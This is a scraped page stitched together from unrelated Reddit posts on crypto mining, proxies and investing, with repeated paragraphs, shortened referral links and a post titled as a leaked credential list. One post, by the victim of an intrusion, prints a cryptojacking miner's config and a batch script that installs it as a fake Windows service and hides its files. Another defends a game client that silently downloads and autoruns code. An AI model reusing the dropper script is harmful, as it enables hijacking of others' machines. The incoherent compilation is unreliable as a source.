litecoin - miner_proxy und minerd Einstellungen

NiceHash - buy & sell hashing power

NiceHash offers you to buy or sell hashing power directly, no contracts, no limitations, pay-as-you-go if you're a buyer and be-paid-as-you-go if you're a seller. Why bother renting rigs, when you can rent hashing power? NiceHash brings more to renters and rig owners. Visit https://www.nicehash.com today! Simply create order and you are already mining your favorite coin or point your rig to our stratum server and you are already earning bitcoins.
[link]

CSGOconfig using proxy bitcoin miner?

CSGOconfig using proxy bitcoin miner? submitted by ICongI to GlobalOffensive [link] [comments]

PoW is used to measure consensus. The pools act as proxy for the miners, pools behave in a similar way to representatives within a democracy. In turn the miners act as a proxy for the economic majority. The economic majority rules, therefore it is the market that rules Bitcoin.

PoW is used to measure consensus. The pools act as proxy for the miners, pools behave in a similar way to representatives within a democracy. In turn the miners act as a proxy for the economic majority. The economic majority rules, therefore it is the market that rules Bitcoin. submitted by VeritasSapere to btc [link] [comments]

PoW is used to measure consensus. The pools act as proxy for the miners, pools behave in a similar way to representatives within a democracy. In turn the miners act as a proxy for the economic majority. The economic majority rules, therefore it is the market that rules Bitcoin.

PoW is used to measure consensus. The pools act as proxy for the miners, pools behave in a similar way to representatives within a democracy. In turn the miners act as a proxy for the economic majority. The economic majority rules, therefore it is the market that rules Bitcoin. submitted by VeritasSapere to Bitcoin [link] [comments]

PoW is used to measure consensus. The pools act as proxy for the miners, pools behave in a similar way to representatives within a democracy. In turn the miners act as a proxy for the economic majority. The economic majority rules, therefore it is the market that rules Bitcoin.

PoW is used to measure consensus. The pools act as proxy for the miners, pools behave in a similar way to representatives within a democracy. In turn the miners act as a proxy for the economic majority. The economic majority rules, therefore it is the market that rules Bitcoin. submitted by ABitcoinAllBot to BitcoinAll [link] [comments]

Bitcoin mentioned around Reddit: CSGOconfig using proxy bitcoin miner? /r/GlobalOffensive

Bitcoin mentioned around Reddit: CSGOconfig using proxy bitcoin miner? /GlobalOffensive submitted by BitcoinAllBot to BitcoinAll [link] [comments]

Heres some proof about sigma not being a trojan and omikron client proof from the sigma creator andro

The high GPU usage is due to the GPU acceleration or the UIs. And this is not comparable to other person's GPU usage since every GPU behave differently. You can compare this usage with vanilla 1.15.2's GPU usage. In my personal case, it's about +1~8% higher.
And the overall performance loss over the 1.8 clients is due to the 1.15 itself, the heavy UI, the missing optimisations (performance update soon), the obfuscation, etc
Some people are saying that "conhost.exe" is a malware... It's actually the console process spawned by java.exe which is used by Sigma (instead of the javaw.exe, the window version of java.exe without the console, that is mostly used for Minecraft).
Fun fact: Badlion client and Lunar client are also spawning conhost, and they aren't getting called out as malwares.
Here's a great explanation of what it is: https://www.howtogeek.com/howto/4996/what-is-conhost.exe-and-why-is-it-running/

And Omikron client was not a bitcoin miner, here's the copypasta :
Omikron client didn't have any btc miner / rat / botnet or whatever. The thing running in background was a system to validate the usage of the auto alt / proxy from other computers. Therefore, if you used auto alt / auto proxy, your computer among others validated in some sort of P2P the usage of alts / proxies. If >50% of computers says that a "transaction" is good, it was validated. Omikron decided to do that to counter the abuse of auto alt / auto proxy.
But ofc you could disable that autorun in Omikron Client's setting. And it was clearly written in the client that it would autorun (but no body really read it) if you use auto alts / auto proxy.
Edit, another copypasta:
I know, this is missleading. In the code, finding alts is refenrenced as "mining" them because you have this usepass combo and sometime yay ! Its a working minecraft alt ! The whole problem about all this drama is that its old code written when the client was "ghost client" and putting it in a .m file intead of .minecraft, having the package not named omikron, not using omikron domain name in the code was a good idear to prevent memory scanning cheating software such as BLSquad to find "omikron" but as you can tell it has bring more trouble that anything. You shoudn't be scared, your cpu isn't and wont be used to mine crypto or any unwanted activity and you will soon be able to chose if you want the service to run. In the next release, beside the fact that all of this was moved to .minecraft/Omikron, using proper domain name etc, you will be able to choose if you are using the client and want the background service running to find alts or if you have the client installed but not using it you will be able to disable the background service.
The video that is spreading about Omikron client is only proving that it downloads an autorun, and runs it in the background, which is intended.

Be careful of people trying to spread that Sigma could be a virus. Most of the time, they're made up by people who are clueless and don't know about what they're talking about (ex: conhost).
submitted by Vardenisss to minecraftclients [link] [comments]

White Swan came, Black Swan's a comin'

Like many here, I'm trying to come up with an investment thesis and a strategy for these uncertain times. I'm currently Bearish - have gone largely to cash, but want to invest in defensive plays because I see much more uncertainty ahead. So this long and rambling post is going to try to play with some ideas I've been having about the future. For the record, I've been investing for 8 years, was primarily an ETF buy and hold investor, and am Canadian, with a background in Political Science. ( I mean, I've got an undergraduate degree and a long-time interest, I'm no expert or nothing.)
I've read Nassim Taleb's Incerto series and have been mainly convinced, I think, and am surprised at the number of people who are calling this a Black Swan (BS) event; there's a post from today where a guy points out that it's not, and that Taleb himself says it's not and he got downvoted to hell. So first off: the Covid-19 pandemic was not a Black Swan. The Covid-19 pandemic, or one like it, has been predicted by damn near everybody for decades. The Obama administration even used a similar pandemic as a war game to get the Trump administration up to speed during the transition, Bill Gates called this years ago, we had a similar outbreak in SARS and H1N1, etc. Even if that wasn't the case, C19 would only be a BS for China - as a bunch of media sources have pointed out, there were US intelligence reports as far back as December saying this would be a huge deal, which were ignored by the administration. So all the suggestions that this is a BS event are really just pointing out how bad many governments, markets, and corporations are at predicting the future - they're unable to predict or prepare, or respond appropriately for a predictable event and only capable of reacting (with the exception of some countries like South Korea, Taiwan, Singapore, Germany...)
Now with the market rallying the bulls are all saying "it's priced in, you can't fight the Fed, etc," and I'm thinking:
1) The emperor has no clothes; the US government is clearly incompetent. It couldn't even listen to it's own experts about the likely extent of the pandemic, had no plan or even seemingly the ability to be at all proactive. For example, an aircraft carrier had a port call in Vietnam, during the middle of a pandemic that started in Asia. Then, completely predictably, it had an outbreak of C19 and it's capabilities were badly damaged and the administration couldn't even properly help it's own ship, nor manage the public relations fallout that resulted. I mean, do you have any idea how insane it is that that ship was allowed to dock during a pandemic? One of the most powerful military devices that ever existed got taken off line cause the administration couldn't understand it's own intelligence.
This incompetence isn't limited to the US of course - the UK handled their initial response badly and had to switch horses mid-race, Canada lagged badly responding as well, Italy and Spain mismanaged their response - but I'd argue that the US, given their advantages in intelligence collection, should have been best positioned to deal with this crisis so I focus on them.
2) Because of this, I think the odds of a real Black Swan event have gone up considerably, and if one does occur, it will occur when the US is historically divided and weakened and where it's economic system is out of ammunition to deal with a second crisis. I'll explain:
We have been living at at time when major geopolitical disruptions have been absent - while proxy wars and minor terrorist attacks still occur, there's been no wars between great powers for some time, and I think many have come to see this as natural; that the unipolar world will continue. But Russia is resurgent, China has a 50 year plan to grow its economy and eventually take a place as a hegemon, which may be entering end-game, and much of the Western international community has grown uncomfortable with US leadership, given the American tendency to elect incompetent Republicans. So we're likely entering an era of uncertainty and increased instability as the contenders vie for status in the new international order.
This doesn't mean war or open combat - it's become a cliche that the new wars of the 21st century are economic ones, and, given nuclear proliferation that's likely to continue. And I think we're more likely to see significant economic combat in the next 6 months than at almost any time during the last decade, because: 1) Trump is incompetent (and here I should stop just shitting on Republicans... the Dems have picked a 77 year old half senile fool to go up against him. I mean, looking at the two guys contending for the leadership of the most powerful country that has ever existed, it's hard to come away thinking that this is the sign of a healthy political system.)
2)America is weak (relatively speaking obviously, they're still the undisputed big swinging dick) and divided.
3)Because of C19 hits to economy, Trump may not be re-elected. I suspect that if it looked likely that he's re-elected, China at least would be content to sit quiet and wait for 4 more years of dumbasserry to take its toll on US hegemony - similarly with Russia. But if it looks like he'll lose come November, they'll take advantage.
What would that economic war look like? Lots of options that I see, and I'm curious if you guys see other ones. I mean, what would it look like if China dumped treasuries over the next 7 months? Or what would happen if China and Russia, or even OPEC+ decided to trade oil in non-US dollars? Or what if China leverages foreign aid to African and Asian countries hard-hit by C19 for long term trade deals designed to damage US interests? Iran and North Korea are additionally wild cards, and if either one is hard hit by C19 could go down flailing with unpredictable results. Any others I'm missing? Curious to hear other's ideas.
Now, note I'm not saying that odds of economic war with China or any other US adversary are likely; I'm saying if the odds of a geopolitical Black Swan were usually 5% in any given year of the last twenty, I suspect the odds of a major BS have gone up 4 or 5 fold - so like 20-30%. And I'm wondering, given unlimited QE, zero interest rates almost everywhere, central banks everywhere supporting stock and currency markets, etc -- what a defensive portfolio, preferably one that's still exposed to positive black swans like a sudden cure, would look like. Is it gold or silver? Cash? Bitcoin? I've already got enough guns and bullets and a bunker... just kidding about the bunker.
But seriously, I'm thinking something like 10-20% PMs and miners, 20% cash, 20% bonds and the rest equity ETFs of some countries likely to benefit from a stronger and more dominant China, like South Korea and Australia. Given Chinese dishonesty and the opacity of the financial system, investing directly in Chinese companies makes me nervous, though I've been considering a stake in BABA. Canada, it seems to me, is too joined at the hip with the USA to do anything other than follow where it goes.
Anyways, if you stuck with me through all that, thanks and I'd love to hear other's thoughts. I'm absolutely not a prepper nor prone to panic -- I just think we're living in real interesting times and the times are likely to get interestinger in the near future.
submitted by Davidallencoen to investing [link] [comments]

What prevents state actors from proxying millions (USD) to mining pools to launch a 51% attack.

Update

u/cointastical made some awesome arguments about a POW fork being pre-baked and ready as a "break glass" emergency roll-out. This HAS been done before BTW. Another great idea about having a grass-roots campaign for everyone to use the invalidateblock command on their node to nullify the attack. Again done before, though on another coin.
Assuming that there exists some subset of miners that work completely to their own self interests and without any greater good or altruistic motives, how would you foresee the following dystopian fiction play out.
By rough estimates about 80% (proof tbd) of the bitcoin network mining exists in mining pools. These pools compete in a free market to entice independent miners to join their pool. The rates are paid in BTC per TH/s. The current price to "rent" the entire bitcoin networks pooled mining resources is about $9 to $10 million / day (proof). This is entirely within the budget of state actors, even the $3 billion to rent the bitcoin network for an entire year doesn't sound far fetched when considering government spending.
So if a state actor (government) were to partner with some established mining pool they could subsidize that pool to offer unrealistically high rates to entice more and more miners (in their self interest) to join their pool.
Once they reach majority (51%) they could exclude blocks from other small independent mining pools tilting the tables more in their favor. These early attacks would create long (25 block) reorgs (proof), but eventually, as they gained more market, they could make the attacks pretty quick. Each attack could exclude blocks from a 1% pool, 2% pool, and so-forth till they attack 1/3 (33%) of the miners at which point they control the whole network (proof tbd).
So assuming miners work in their own self interest, why wouldn't they join this obviously evil mining pool if that pool was offering 50% above market rate for their mining power compared to competitors?
submitted by brianddk to Bitcoin [link] [comments]

The Syndicate group links

Pre-ICO
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Services:
Honey Gain Free $5 for signing up https://tinyurl.com/y4a9ky4x
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Web Hosting https://tinyurl.com/yy5o3jsw
Buy Crypto https://goo.gl/ycrdre
VPN/Proxy https://goo.gl/hhgmKf

Free Coins:
ETH https://tinyurl.com/y63malxz
BNB https://tinyurl.com/y2x3tagk
Bitcoin Moon Bitcoin https://goo.gl/qzoeM9
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Bitcoin Free Bitcoin https://goo.gl/RVCtJ2
Doge https://goo.gl/F1oEPy
Litecoin https://goo.gl/LGMN22
Dash https://goo.gl/UmZkSw
XRP https://goo.gl/85ig4j
ADA https://goo.gl/efSRxZ
BCH https://goo.gl/gFhETF
NEM (XEM) https://goo.gl/cwDrcr
STEAM https://tinyurl.com/y5n78428
Tether https://tinyurl.com/y6ffy3x8
USDC https://tinyurl.com/yxoux9hx
BountyHub https://tinyurl.com/y57fyu2d
Stakecube http://tinyurl.com/y2vts9xe

Social Media
Discord https://discord.gg/3WxtH9N
Twitter https://twitter.com/SyndicateCrypto
Telegram https://t.me/SyndicateCrypto
Reddit https://www.reddit.com/SyndicateCrypto/
Facebook https://facebook.com/SyndicateCrypto
Youtube https://youtube.com/SyndicateCrypto
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Website http://SyndicateCrypto.com
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Busy https://busy.org/@syndicatecrypto
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Exchanges:
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Altilly https://goo.gl/ess2t2
BitMex https://goo.gl/vmaLkx
Hitbtc https://goo.gl/Gf6bSJ
KuCoin https://tinyurl.com/y6odd5ry
YoBit https://goo.gl/upy34W
CoinTiger https://goo.gl/VvHhmH
Bithub https://goo.gl/NC7L6b
ExMarkets https://tinyurl.com/y2ftsfvy
submitted by SyndicateCrypto to SyndicateCrypto [link] [comments]

MoneroOcean pool owner supports botnets

Hi guys,
As of late my vps that was running Microsoft's RDP got hacked. The attacker ran a malware miner named system.exe that was using 99% CPU. I'm gonna post a screenshot of all of it right here so he gets publicly exposed for his deeds.
https://imgur.com/a/yArkTR8
By further investigation I found that this miner uses config.json as it's configuration file and I'm posting the contents also publicly here:
{ "algo": "cryptonight", "api": { "port": 0, "access-token": null, "id": null, "worker-id": null, "ipv6": false, "restricted": true }, "asm": true, "autosave": true, "av": 0, "background": false, "colors": true, "cpu-affinity": null, "cpu-priority": null, "donate-level": 0, "huge-pages": true, "hw-aes": null, "log-file": null, "max-cpu-usage": 100, "pools": [ { "url": "gulf.moneroocean.stream:80", "user": "44CZd8EvSktM2FzqMVbMBc9pWDcL45yYTWY3VzdymUbjDG6F1734vQh4dj9hjn7tj3eFohS8NGSDSNNVzBxLt7Eb8Vw8vrq", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": false, "variant": -1, "enabled": true, "tls": false, "tls-fingerprint": null } ], "print-time": 60, "retries": 5, "retry-pause": 5, "safe": false, "threads": [ { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true }, { "low_power_mode": 1, "affine_to_cpu": false, "asm": true } ], "user-agent": null, "watch": true }
cmd.bat contents are the following:
attrib -a -s -r -h C:\WINDOWS\Debug\nat* net stop Networks taskkill /f /im system.exe C:\WINDOWS\Debug\nat\svchost.exe install "Networks20181019" C:\WINDOWS\Debug\nat\system.exe sc config "Networks20181019" DisplayName= "Networksr20181019" sc description "Networks20181019" "Microsoft Windows Networks" Set ProcessName=system.exe sc start "Networks20181019" attrib +a +s +r +h C:\WINDOWS\Debug\nat* echo u/off del %USERPROFILE%\Desktop\0.exe
I've scanned everything on VirusTotal and upon visiting the pool I've noticed that the miner has a hefty 50 KH/s. I've also contacted the pool owner via Discord and can post the whole discussion if anyone is willing to see it. He doesn't want to ban the miner, shortly.
I'm not so familiar with Monero but I had Bitcoins and I fully support the mining community. I understand that people with botnets increase difficulty for normal people to make a profit. I've also reported this guy to his ISP by examining the IP found in Event Viewer, since he didn't use a VPN (the IP isn't detected as proxy). I won't post the IP's publicly.
What more can I do? The pool owner also threatened me to report another XMR wallet address to SupportXMR pool because he thought I was a competitive attacker. I can also give that address aswell.
Thank you for reading and stay safe :)
submitted by r00t_of_bnets to Monero [link] [comments]

Groestlcoin 6th Anniversary Release

Introduction

Dear Groestlers, it goes without saying that 2020 has been a difficult time for millions of people worldwide. The groestlcoin team would like to take this opportunity to wish everyone our best to everyone coping with the direct and indirect effects of COVID-19. Let it bring out the best in us all and show that collectively, we can conquer anything.
The centralised banks and our national governments are facing unprecedented times with interest rates worldwide dropping to record lows in places. Rest assured that this can only strengthen the fundamentals of all decentralised cryptocurrencies and the vision that was seeded with Satoshi's Bitcoin whitepaper over 10 years ago. Despite everything that has been thrown at us this year, the show must go on and the team will still progress and advance to continue the momentum that we have developed over the past 6 years.
In addition to this, we'd like to remind you all that this is Groestlcoin's 6th Birthday release! In terms of price there have been some crazy highs and lows over the years (with highs of around $2.60 and lows of $0.000077!), but in terms of value– Groestlcoin just keeps getting more valuable! In these uncertain times, one thing remains clear – Groestlcoin will keep going and keep innovating regardless. On with what has been worked on and completed over the past few months.

UPDATED - Groestlcoin Core 2.18.2

This is a major release of Groestlcoin Core with many protocol level improvements and code optimizations, featuring the technical equivalent of Bitcoin v0.18.2 but with Groestlcoin-specific patches. On a general level, most of what is new is a new 'Groestlcoin-wallet' tool which is now distributed alongside Groestlcoin Core's other executables.
NOTE: The 'Account' API has been removed from this version which was typically used in some tip bots. Please ensure you check the release notes from 2.17.2 for details on replacing this functionality.

How to Upgrade?

Windows
If you are running an older version, shut it down. Wait until it has completely shut down (which might take a few minutes for older versions), then run the installer.
OSX
If you are running an older version, shut it down. Wait until it has completely shut down (which might take a few minutes for older versions), run the dmg and drag Groestlcoin Core to Applications.
Ubuntu
http://groestlcoin.org/forum/index.php?topic=441.0

Other Linux

http://groestlcoin.org/forum/index.php?topic=97.0

Download

Download the Windows Installer (64 bit) here
Download the Windows Installer (32 bit) here
Download the Windows binaries (64 bit) here
Download the Windows binaries (32 bit) here
Download the OSX Installer here
Download the OSX binaries here
Download the Linux binaries (64 bit) here
Download the Linux binaries (32 bit) here
Download the ARM Linux binaries (64 bit) here
Download the ARM Linux binaries (32 bit) here

Source

ALL NEW - Groestlcoin Moonshine iOS/Android Wallet

Built with React Native, Moonshine utilizes Electrum-GRS's JSON-RPC methods to interact with the Groestlcoin network.
GRS Moonshine's intended use is as a hot wallet. Meaning, your keys are only as safe as the device you install this wallet on. As with any hot wallet, please ensure that you keep only a small, responsible amount of Groestlcoin on it at any given time.

Features

Download

iOS
Android

Source

ALL NEW! – HODL GRS Android Wallet

HODL GRS connects directly to the Groestlcoin network using SPV mode and doesn't rely on servers that can be hacked or disabled.
HODL GRS utilizes AES hardware encryption, app sandboxing, and the latest security features to protect users from malware, browser security holes, and even physical theft. Private keys are stored only in the secure enclave of the user's phone, inaccessible to anyone other than the user.
Simplicity and ease-of-use is the core design principle of HODL GRS. A simple recovery phrase (which we call a Backup Recovery Key) is all that is needed to restore the user's wallet if they ever lose or replace their device. HODL GRS is deterministic, which means the user's balance and transaction history can be recovered just from the backup recovery key.

Features

Download

Main Release (Main Net)
Testnet Release

Source

ALL NEW! – GroestlcoinSeed Savior

Groestlcoin Seed Savior is a tool for recovering BIP39 seed phrases.
This tool is meant to help users with recovering a slightly incorrect Groestlcoin mnemonic phrase (AKA backup or seed). You can enter an existing BIP39 mnemonic and get derived addresses in various formats.
To find out if one of the suggested addresses is the right one, you can click on the suggested address to check the address' transaction history on a block explorer.

Features

Live Version (Not Recommended)

https://www.groestlcoin.org/recovery/

Download

https://github.com/Groestlcoin/mnemonic-recovery/archive/master.zip

Source

ALL NEW! – Vanity Search Vanity Address Generator

NOTE: NVidia GPU or any CPU only. AMD graphics cards will not work with this address generator.
VanitySearch is a command-line Segwit-capable vanity Groestlcoin address generator. Add unique flair when you tell people to send Groestlcoin. Alternatively, VanitySearch can be used to generate random addresses offline.
If you're tired of the random, cryptic addresses generated by regular groestlcoin clients, then VanitySearch is the right choice for you to create a more personalized address.
VanitySearch is a groestlcoin address prefix finder. If you want to generate safe private keys, use the -s option to enter your passphrase which will be used for generating a base key as for BIP38 standard (VanitySearch.exe -s "My PassPhrase" FXPref). You can also use VanitySearch.exe -ps "My PassPhrase" which will add a crypto secure seed to your passphrase.
VanitySearch may not compute a good grid size for your GPU, so try different values using -g option in order to get the best performances. If you want to use GPUs and CPUs together, you may have best performances by keeping one CPU core for handling GPU(s)/CPU exchanges (use -t option to set the number of CPU threads).

Features

Usage

https://github.com/Groestlcoin/VanitySearch#usage

Download

Source

ALL NEW! – Groestlcoin EasyVanity 2020

Groestlcoin EasyVanity 2020 is a windows app built from the ground-up and makes it easier than ever before to create your very own bespoke bech32 address(es) when whilst not connected to the internet.
If you're tired of the random, cryptic bech32 addresses generated by regular Groestlcoin clients, then Groestlcoin EasyVanity2020 is the right choice for you to create a more personalised bech32 address. This 2020 version uses the new VanitySearch to generate not only legacy addresses (F prefix) but also Bech32 addresses (grs1 prefix).

Features

Download

Source

Remastered! – Groestlcoin WPF Desktop Wallet (v2.19.0.18)

Groestlcoin WPF is an alternative full node client with optional lightweight 'thin-client' mode based on WPF. Windows Presentation Foundation (WPF) is one of Microsoft's latest approaches to a GUI framework, used with the .NET framework. Its main advantages over the original Groestlcoin client include support for exporting blockchain.dat and including a lite wallet mode.
This wallet was previously deprecated but has been brought back to life with modern standards.

Features

Remastered Improvements

Download

Source

ALL NEW! – BIP39 Key Tool

Groestlcoin BIP39 Key Tool is a GUI interface for generating Groestlcoin public and private keys. It is a standalone tool which can be used offline.

Features

Download

Windows
Linux :
 pip3 install -r requirements.txt python3 bip39\_gui.py 

Source

ALL NEW! – Electrum Personal Server

Groestlcoin Electrum Personal Server aims to make using Electrum Groestlcoin wallet more secure and more private. It makes it easy to connect your Electrum-GRS wallet to your own full node.
It is an implementation of the Electrum-grs server protocol which fulfils the specific need of using the Electrum-grs wallet backed by a full node, but without the heavyweight server backend, for a single user. It allows the user to benefit from all Groestlcoin Core's resource-saving features like pruning, blocks only and disabled txindex. All Electrum-GRS's feature-richness like hardware wallet integration, multi-signature wallets, offline signing, seed recovery phrases, coin control and so on can still be used, but connected only to the user's own full node.
Full node wallets are important in Groestlcoin because they are a big part of what makes the system be trust-less. No longer do people have to trust a financial institution like a bank or PayPal, they can run software on their own computers. If Groestlcoin is digital gold, then a full node wallet is your own personal goldsmith who checks for you that received payments are genuine.
Full node wallets are also important for privacy. Using Electrum-GRS under default configuration requires it to send (hashes of) all your Groestlcoin addresses to some server. That server can then easily spy on your transactions. Full node wallets like Groestlcoin Electrum Personal Server would download the entire blockchain and scan it for the user's own addresses, and therefore don't reveal to anyone else which Groestlcoin addresses they are interested in.
Groestlcoin Electrum Personal Server can also broadcast transactions through Tor which improves privacy by resisting traffic analysis for broadcasted transactions which can link the IP address of the user to the transaction. If enabled this would happen transparently whenever the user simply clicks "Send" on a transaction in Electrum-grs wallet.
Note: Currently Groestlcoin Electrum Personal Server can only accept one connection at a time.

Features

Download

Windows
Linux / OSX (Instructions)

Source

UPDATED – Android Wallet 7.38.1 - Main Net + Test Net

The app allows you to send and receive Groestlcoin on your device using QR codes and URI links.
When using this app, please back up your wallet and email them to yourself! This will save your wallet in a password protected file. Then your coins can be retrieved even if you lose your phone.

Changes

Download

Main Net
Main Net (FDroid)
Test Net

Source

UPDATED – Groestlcoin Sentinel 3.5.06 (Android)

Groestlcoin Sentinel is a great solution for anyone who wants the convenience and utility of a hot wallet for receiving payments directly into their cold storage (or hardware wallets).
Sentinel accepts XPUB's, YPUB'S, ZPUB's and individual Groestlcoin address. Once added you will be able to view balances, view transactions, and (in the case of XPUB's, YPUB's and ZPUB's) deterministically generate addresses for that wallet.
Groestlcoin Sentinel is a fork of Groestlcoin Samourai Wallet with all spending and transaction building code removed.

Changes

Download

Source

UPDATED – P2Pool Test Net

Changes

Download

Pre-Hosted Testnet P2Pool is available via http://testp2pool.groestlcoin.org:21330/static/

Source

submitted by Yokomoko_Saleen to groestlcoin [link] [comments]

The new cryptocurrency "ETX" is been mining, its technology and potential have attracted much attention!

The new cryptocurrency
As the culmination of a new round of information technology innovation, the application of blockchain in the economic industry is pushing the entire economic system to achieve technological change, organizational change and efficiency change. The implementation of blockchain technology will bring the existing business model Refactoring. Among them, Bitcoin, as a representative of blockchain technology, has been in operation for 11 years from 2009 to the present. It has survived some crises and has been constantly improving and upgrading.
On January 3, 2009, the first block: the genesis block was born, the first miner and bitcoin owner: Satoshi Nakamoto, the reward generated by the first block: 50 bitcoins. This also means that the formal birth of blockchain technology and digital currency has historical significance for today's digital currency market.

https://preview.redd.it/uyjjvx99ars41.jpg?width=640&format=pjpg&auto=webp&s=0141ed26e5c38e4bd9fc610a13b4339f84656378
In the process of continuous development and improvement of the blockchain, many more excellent digital currencies have emerged, both from the technical level and the future vision, they all have relatively good performance. ETX (EthereumX-NET) is one of them, and it has been loved by digital currency enthusiasts in the early days of its birth. ETX public chain adopts a brand-new blockchain system architecture and is positioned as an easy-to-use high-performance blockchain platform designed to achieve the performance expansion of distributed applications to meet the real needs of the real world.
In order to reduce the pressure on the main chain, ETX (EthereumX -NET) adopts a layered architecture of main chain + side chain. The main chain is only responsible for the circulation of ETX. DAPP runs on the side chain and completes the safe transfer of value between the main chain and the side chain through the ETX side chain transfer mechanism. The ETX public chain uses the mechanism of arbitrators' joint signature to ensure the security of transfers with the side chain. The main chain's currency holders jointly elect a certain number of "arbitrators". By signing, most arbitrators' signatures can unlock transactions on the main chain from the account representing the side chain to the ordinary account.

https://preview.redd.it/jxwavl0cars41.jpg?width=640&format=pjpg&auto=webp&s=0edd4a872c293ef372ce47a47f3b022eb9da50de
The ETX (EthereumX-NET) ecosystem has mining with a diversified main chain, and further releases the value of computing power through technology to bring higher returns to customers. In other words, these calculations can be used to do other things. Secondly, the ETX mining pool provides a one-stop node mining service for the mining pool for the main chain of ETX relying on the PoW + DPoS consensus mechanism. Election to the ETX mining pool seed node is the first step in mining ETX mining pool nodes. Next, the ETX mining pool will launch more node mining services under the PoW + DPoS consensus mechanism. At that time, miners can participate in mining and obtain mining rewards only by proxy voting.

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The technology and potential of the digital currency ETX (EthereumX -NET) that can be tapped are highly concerned. In the future, we will be able to make great achievements. Let us look forward to it together. I believe that in the near future, ETX (EthereumX-NET) will give us a generous return . (There are risks in the market, investment needs to be cautious, please do as your capability permits.)
submitted by BitRay2077 to u/BitRay2077 [link] [comments]

The Political State and Future of Bitcoin

This post may not be so popular lol. But I'll tell you what you should hear.
One of the big pushbacks I have gotten on reddit is over the banking secrecy act. I have been repeatedly told that I am making shit up or being conspiratorial. This is very very foolish of this community. The statements and releases were in a document released by the FATF. I read it. It's right there. It's in the document. They've come right out and said exactly what they intend to do, and have told exchange CEO' "that's not our problem you WILL find a way to implement this".

I also follow the SEC and CFTC policy and press release strongly, and it is equally hostile and captured. It doesn't matter if a few people in the agencies are well intended. They don't call the shots. They are shadow regulatory industries controlled by people we will never see. The rich obviously. Dupont, Cargill, etc.

The bitcoin community has been deeply in denial about numerous issues pointed out. It has become a religion, incapable of receiving critique.
-Blind trust in Block stream
-Blind trust in Chinese miners and wallstreet institutional mining
-Blind trust in centralized exchanges
-Blind trust in the venture capital token M.O
-Blind trust in the idea of 'STO" security tokens sanctioned and graced by banks/regulators
-Blind trust in derivatives controlled by regulated bodies that can impose fractional reserve
-Blind trust in the meme of an ETF

If this community was far more educated in history and political economy and the US foreign policy, you would never trust these regulated wallstreet instruments, you would never trust a rubber stamp. I mean think about it, how many people in this community are hoping for Wallstreet and regulators to pump their bags. Because that has become the meme. They believe that the government approval and integration into the financial economy is going to pump their bags. How's that working out?
We have less commerce acceptance, less adoption, less users with a thousand dollars in their wallet, than a year ago.
The belief that bitcoin can exist in a vaacuum and bubble, that it can exist without decentralized infrastructure at the mercy of centralized infrastructure in a hostile environment and become mass adopted by nations of people is delusional. It hasn't worked in a decade. Bitcoin is a hobby horse for geeks, speculators, and a revenue stream for centralized wallstreet and financial institutions globally. It is a proxy of bitmain, of these other institutions, and is becoming more and more centralized. The gini coeeficient of bitcoin dwarfs fiat.

And the problem *is not bitcoin* the problem is the community believing in these memes and not learning from economic history in antiquity and not building the infrastructure outside the states control and forcing the state into diplomacy. Bitcoiners are failed anarchist, they don't know how to politically represent themselves, they aren't wobblies, they aren't like classic leftist who forced these concepts onto the gilded aged imperialist western republics, that forced them to not send kids to work in coalmines for 12 hours a day. We aren't politically commanding.

The banking secrecy act is a extinction level event for crypto. Will bitcoin survive? Of course? But it's going to set us back a decade. It's going to send us back to the stone age. And we are at a *profound* risk of the main chain breaking off and becoming the pseudo banking state corporate nexus geofenced kyced bitcoin with backdoored nodes and backdoored hardware wallets. The statist wont break bitcoin in half, we will. We will out of desperation after they sully it so severely that we have no choice but to hard fork it into a original version that can protect itself against the BSA. You say we won't but we will, when they cripple the global south's access to it, and they cripple the price, you will have your braveheart mercy moment, and the og cypherpunk will kick the bucket and pull the trigger. What has to be done will be done.

Centralized exchanges are completely incompatible with cypherpunk and anarchism and the white paper. We've tolerated CEX for a decade. Not only are governments a threat, but we will be continually crippled by Quadriga CX failures, Cryptopia, and Mount Gox failures. Because of toxic maximalism and toxic attitude towards building the fucking infrastructure to avoid this. The mainstream developers won't do it because they can't make any money. This will be a sacrificial act to build this system, just like Satoshi.

The current DEX system is like the 1960's darpa intranet. That is it. That's why it sucks. It's not the internet of DEX, it's not. And making the internet of DEX is really, really, really fucking hard bleeding edge computer science. If we want global adoption we need an internet, not an intranet. Having the liquidity of DEX divided into intranet is why we continue to rel on CEX. You want to get rid of the CEX, turn the fucking intranet into an internet, into an interchain. Stop relying on companies and ICO's and 1000 tokens for 1000 things, build the actual backbone. Support the developers. Pay your fucking developers. Stop calling everything a scam and everything vaporware. The internet isn't a fucking vaporware scam, so neither is the interchain. Maximalism is ludditism.

Crypto is for the global south, it's for emancipatory politics and independence, for the 99.99%, not the .01%. If you believe otherwise, and want you're "Citadel", Fuck You. Seriously. Read some political economy. Read Ellinor Ostrom, Bestiat, Spooner, Proudhon, etc. Crypto is suppoose to be a public good and a form of open source economy, not a recreation of tyranny, hierarchy, economic centralization, and worse yet just another banker shitcoin debt scam interest rate scam, which is what they are treating it and regulating and profiting off of it as.
submitted by samdane7777 to Bitcoin [link] [comments]

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submitted by godmare-22 to u/godmare-22 [link] [comments]

600K+ HQ Combo list 19.3 mb (netflix,facebook,instagram,coinpot,steam,vpn...)

[ Removed by reddit on account of violating the content policy. ]
submitted by okba29 to u/okba29 [link] [comments]

On EOS Blockchain, Vote Buying Is Business as Usual

On EOS Blockchain, Vote Buying Is Business as Usual


Buying votes is a big no-no in traditional democracies, but on the world’s eighth-largest blockchain it’s become an accepted way of doing business.
A new service makes it easier for EOS block producers, the nodes elected by holders of the cryptocurrency to validate transactions on the network, to share their block rewards with those who voted for them. The service, known as Genpool, was introduced this month by GenerEOS, which itself is a block producer candidate.
Back when EOSIO, the software powering the $3.7 billion EOS chain, was just an idea, the crypto community debated whether delegated proof-of-stake, or DPoS, would lead to validation candidates effectively bribing users to support them. (DPoS is a consensus mechanism that limits the number of node validators to a fixed set.) Early on, the EOS community believed it could prevent such activity.
Now the community is all-in on what proponents call “voter rebates.”
"The Genpool platform is a zero barrier to entry free market ecosystem, connecting proxy owners with voters that are looking to support quality Block Producers (BPs) while being rewarded with a percentage of the additional BP income,” GenerEOS said in a Medium post announcing the service.
GenerEOS's Tim Weston declined an interview with CoinDesk.
